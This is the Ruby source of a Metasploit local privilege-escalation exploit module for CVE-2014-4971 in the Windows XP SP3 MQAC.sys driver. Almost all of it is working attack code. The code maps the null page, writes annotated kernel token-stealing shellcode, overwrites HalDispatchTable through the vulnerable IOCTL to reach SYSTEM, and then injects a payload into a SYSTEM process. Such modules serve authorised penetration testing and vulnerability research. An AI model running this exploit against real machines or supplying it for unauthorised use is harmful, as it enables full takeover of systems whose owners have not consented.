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# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
def initialize(info={})
super(update_info(info, {
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
'Description' => %q{
A vulnerability within the MQAC.sys module allows an attacker to
overwrite an arbitrary location in kernel memory.
This module will elevate itself to SYSTEM, then inject the payload
into another SYSTEM process.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matt Bergin', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
'Arch' => [ ARCH_X86 ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows XP SP3',
{
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
'_APLINKS' => "\x88"
}
],
],
'References' =>
[
[ 'CVE', '2014-4971' ],
[ 'EDB', '34112' ],
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt' ]
],
'DisclosureDate'=> 'Jul 22 2014',
'DefaultTarget' => 0
}))
end
def find_sys_base(drvname)
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname == nil
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
local_sys = resolve_sid("S-1-5-18")
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
this_pid = session.sys.process.getpid
# Processes that can Blue Screen a host if migrated in to
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
next if dangerous_processes.include?(p["name"])
next if p["pid"] == this_pid
next if p["pid"] == 4
next if p["user"] != system_account_name
return p
end
end
def open_device
handle = session.railgun.kernel32.CreateFileA("\\\\.\\MQAC", "FILE_SHARE_WRITE|FILE_SHARE_READ", 0, nil, "OPEN_EXISTING", 0, nil)
if handle['return'] == 0
print_error('Failed to open the \\\\.\\MQAC device')
return nil
end
handle = handle['return']
end
def check
handle = open_device
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
os = sysinfo["OS"]
case os
when /windows xp.*service pack 3/i
return Exploit::CheckCode::Appears
when /windows xp/i
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
if sysinfo["Architecture"] =~ /wow64/i
print_error("Running against WOW64 is not supported")
return
elsif sysinfo["Architecture"] =~ /x64/
print_error("Running against 64-bit systems is not supported")
return
end
if is_system?
print_error("This meterpreter session is already running as SYSTEM")
return
end
kernel_info = find_sys_base(nil)
base_addr = 0xffff
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
handle = open_device
return if handle.nil?
this_proc = session.sys.process.open
unless this_proc.memory.writable?(base_addr)
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ 1 ].pack("L"), nil, [ 0xffff ].pack("L"), "MEM_COMMIT|MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
end
unless this_proc.memory.writable?(base_addr)
print_error('Failed to properly allocate memory')
this_proc.close
return
end
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
hKernel = hKernel['return']
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
halDispatchTable = halDispatchTable['return']
halDispatchTable -= hKernel
halDispatchTable += kernel_info[0]
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
shellcode = make_nops(0x200) + tokenstealing
this_proc.memory.write(0x1, shellcode)
this_proc.close
print_status("Triggering vulnerable IOCTL")
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f, 1, 0x258, halDispatchTable + 0x4, 0)
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
unless is_system?
print_error("Exploit failed")
return
end
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
unless execute_shellcode(payload.encoded, nil, proc['pid'])
fail_with(Failure::Unknown, "Error while executing the payload")
end
end
end
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